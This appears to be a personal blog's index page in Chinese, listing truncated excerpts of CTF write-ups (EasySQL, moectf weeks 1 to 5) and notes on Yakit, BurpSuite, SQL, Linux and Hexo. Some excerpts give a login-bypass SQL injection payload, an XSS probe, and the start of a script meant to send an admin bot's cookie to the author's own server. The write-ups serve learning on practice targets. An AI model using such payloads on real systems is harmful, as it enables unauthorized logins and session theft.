Yakit 学习笔记
在上网冲浪的过程中看到了很多渗透大手子在使用 Yakit,于是我也起了兴趣来研究这玩意和 BP 的区别在哪。 Yakit 官网 基本使用首次运行会打开一个项目管理的界面。 这个界面类似于一个工作区,可以选择临时项目不保存,新建项目可以保存操作的记录。选择一个项目即可打开正式进行使用。 这个界面塞的还是很满的,看起来功能十分丰富。 CVE 数据管理,网卡的时候可以看( MITM 交互式劫持中间人攻击 同样的可以进行证书管理来连接自己的浏览器,它内置也有一个 Chrome 浏览器可以直接使用(这个比较方便一点,我用的比较多)。 左侧有一些插件可供使用,已经包括了:SQL 注入、SSTI、Fastjson 检测、HTTP 请求走私。 手动劫持可实现抓包放包的操作。 这个被动插件勾上了就会自己在后台运行,也可以使用它的热加载,在控制台那里显示脚本的日志。不过它默认给的这个脚本我感觉极其难用。不能手动控制检测哪个网址,得修改源码。 WebFuzzer对标 BP Intruder 功能 感觉该有的功能都有,payload 构造很方便,跑字典会比较舒适。 想要爆破密码可以准备好...
CTF 笔记 1
[极客大挑战 2019]EasySQL学习资料 helloctf-sql注入 CSDN-SQL 语法 实战 这里同时具有用户名还有密码可以进行填入。 从后端数据库的操作来看的话应该 1select *from 表 where username= '' &password='' --条件 那么可以采取注释后面密码的方式并且满足条件即可即实现如下效果,选择比较常用的 admin 账号来进行登录。 1select *from 表 where username= 'admin' or '1'='1' -- a' --&password='1' 注意由于这里 sql 的注释 – 后需要空格,所以写为 – a 较为稳妥。 那么则输入admin’ or ‘1’=’1’ – a 或者也可以让后面的密码保持成立 1select *from 表 where username= 'admin' or '1'...
moectf-week5
Moe论坛RCE 木马上传 SUID XSS bot这周就做了这题,这题的知识点比较综合,也感谢管理员给出了一些引导。首先打开是一个登录注册的界面,先注册登录一个账号看看是个什么情况。注册的时候发现是有管理员账号的,估计也是要进行提权操作或者登录管理员账号。 发现有个 admin 的 bot 会每隔一分钟来自动访问这个首页,并且在发布帖子的地方可以用 html 那么猜测是利用 XSS 来让这个 bot 执行某些操作。使用 <script>alert(1)</script> 进行试探。发现是没有过滤 <script> 字段的。 那么接下来就得思考我需要获取什么信息。使用 burpsuite 抓包时发现我们是带有特殊的 cookie 去访问页面的 这里的 role 就很明显让我们切换成 admin 来访问页面。我的第一反应是让这个 bot 访问页面的时候我进行 XSS 页面劫持,让它携带 cookie 等的信息发送到我暴露在公网的 IP 下。混合型 XSS 1234<script> var c = encodeURICompone...
moectf-week4
Web巧乐兹RCE,SpringBoot,fastjson 这题做了好久…不过真的学到了好多东西!😋 打开是一个公告系统,先试用抓包工具进行初步的分析。当进行保存的操作时会向 /api/v1/notes 发送 PUT 请求,发送 json 可以直接显示在页面上。 12345678910111213141516171819PUT /api/v1/notes HTTP/1.1Host: 127.0.0.1:62820Content-Length: 110sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT ...
moectf-week3
礼崩乐坏JavaScript原链型污染 题目信息: 123我听闻,从前管束子弟,有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子,做兄长的带弟弟,一代一代,都守着本分。可如今呢?家法松了,规矩淡了,晚辈做什么,长辈也未必看得住。这就好比写JavaScript,顶层的写法,像祖宗留下的旧宅,格局分明,门是门、窗是窗;可后来的人,图省事、图新潮,把旧宅拆了,东拼西凑搭个棚子,也能住人。祖宗留下的规矩还在,但已经管不着他们了。这样看来,礼法不是没了,是没人肯照着做了。名分还在,人心却散了。 这题又是原链型污染,相较于上次做了一次升级。 和上一题目一样,也是需要我们通过修改这个继承 Admin 还有 canRead 来提权。 先补充一些知识点JavaScript原型链污染Node.js - __proto__ and Prototype Pollution 了解到 JavaScript 中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。当一个对象自身没有的属性会向“原型”进行查找。普通 {} 对象通常会有一个原型...
moectf-week2
难度有点上来了😥 查分系统_revenge题目信息:老师听说上次发布的系统可以查到所有人的分数,于是老师让沙包AI完善了一下这个系统,这样肯定大家只能凭学号查到自己的成绩了吧(学号为8位数字) 这题是上次查分系统的强化版,上次是可以直接进行search找到flag,这次题目把所有的数据都进行了加密。 那就先读一下代码然后分析怎么来解密吧。 1234567<div class="card"> <h1>数学分析期末成绩查询</h1> <input id="input_sid" class="form-input" placeholder="请输入 8 位学号" maxlength="8"> <button id="btn_search" onclick="searchScore()">查询成绩</button> <div id=&quo...
moectf-week1
web一些必要的知识网络协议 协议 主要作用 IP 标识网络中的设备,并负责数据包的寻址与传递。 TCP 建立可靠连接,尽可能确保数据完整、有序地到达。 UDP 更加轻量、速度较快,但不保证数据可靠到达。 DNS 将人类容易记忆的域名转换为 IP 地址。 HTTP 在浏览器、客户端与 Web 服务器之间传输数据。 HTTPS 使用 TLS 加密保护通信过程的 HTTP。 WebSocket 在客户端和服务器之间建立持续的双向通信。 moectf Web方向查分系统这题是个静态网页,而且信息全写在了html没有进行任何加密处理,直接搜索关键词moectf就找到flag了。 moectf{y0u_c@n_reAd_th3_h+nn1} Web 安全与渗透测试入门指北这题属于一个入门题目,点击F12moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!} 归途这题需要我们把藏在网页中的key找出来。 首先用F12先找到了Key1-N2ghNUkkTQ==,Key2-QDBtNG9k 随...
web-learn-2
本篇主要介绍了我对BurpSuite的初步了解 Burpsuite该工具可以直接在 kali 中打开,也可以在 Windows 下安装社区版。 首次使用需要进行一些简单的配置,首先要将浏览器的代理设置修改成127.0.0.1:8080 再设置证书,在 BurpSuite 的设置界面中导出证书,再添加到浏览器中。 SQLSQL 基础知识SQL是一种用于管理和操作关系型数据库的标准语言。常见的用途包括数据的查询、插入、更新和删除。 常用SQL语句有: SELECT:用于查询数据。 例如:SELECT * FROM users; 查询users表中的所有数据。 INSERT:用于插入新数据。 例如:INSERT INTO users (name, age) VALUES ('Tom', 18); UPDATE:用于更新已有数据。 例如:UPDATE users SET age = 20 WHERE name = 'Tom'; DELETE:用于删除数据。 例如:DELETE FROM users WHERE name = 'T...
web-learn-1
web学习的开端学习前的期待与看法我其实觉得CTF的比赛形式非常有意思(比赛的知识面很多样,并且考题也是不断在创新),我也很喜欢那种和别人一起打比赛的那种氛围和感觉。 比赛前的备赛能够高效学习很多有用的知识,在这其中我能够懂得许多web相关的底层逻辑,之后还能够拓宽我的就业面。 我认为这是个很难得的机会,我也很珍惜大学四年的时光,想要在这四年中参加各类的比赛和开发项目来充实我的大学生活。 我期待在CTF的备赛以及学习中能够增长我的自学能力以及抗压的能力。 学习资料https://hello-ctf.com/https://ctf-wiki.org/ Linux命令1. 文件操作 ls / ll:列出文件( ls -la 查看包含隐藏文件在内的所有信息)。 cd:切换工作目录 pwd:打印当前所在的工作目录的绝对路径。 mkdir / rm / cp / mv:创建目录、删除、复制、移动文件。 2. 文件查看与编辑 cat / tac:查看文件内容全部输出,tac 是反向查看(有时可用来绕过一些简单的 WAF 过滤)。 mor...
hexo-learn
资料查询首先先了解到了可以使用的博客有hexo、hugo、astro、wordpress、typecho。这里我选择使用hexo和github来构建我的博客,本次参考了以下内容https://www.xmdblog.com/posts/70db7d7c.html 准备工作需要准备的主要有Node,git,一个github账号 Node下载https://nodejs.org/zh-cn/ git下载https://git-scm.com/install/ hexo安装在Git Bash运行 1npm install -g hexo-cli 检查安装情况123node -vgit -vhexo -v GitHub部署先创建一个私密仓库名称格式:<Github 用户名>.github.ioGit Bash运行 12git config --global user.name <用户名>git config --global user.email <邮箱> 建议用户名和邮箱和Github上的统一再运行以下代码检查是否配置成功 1g...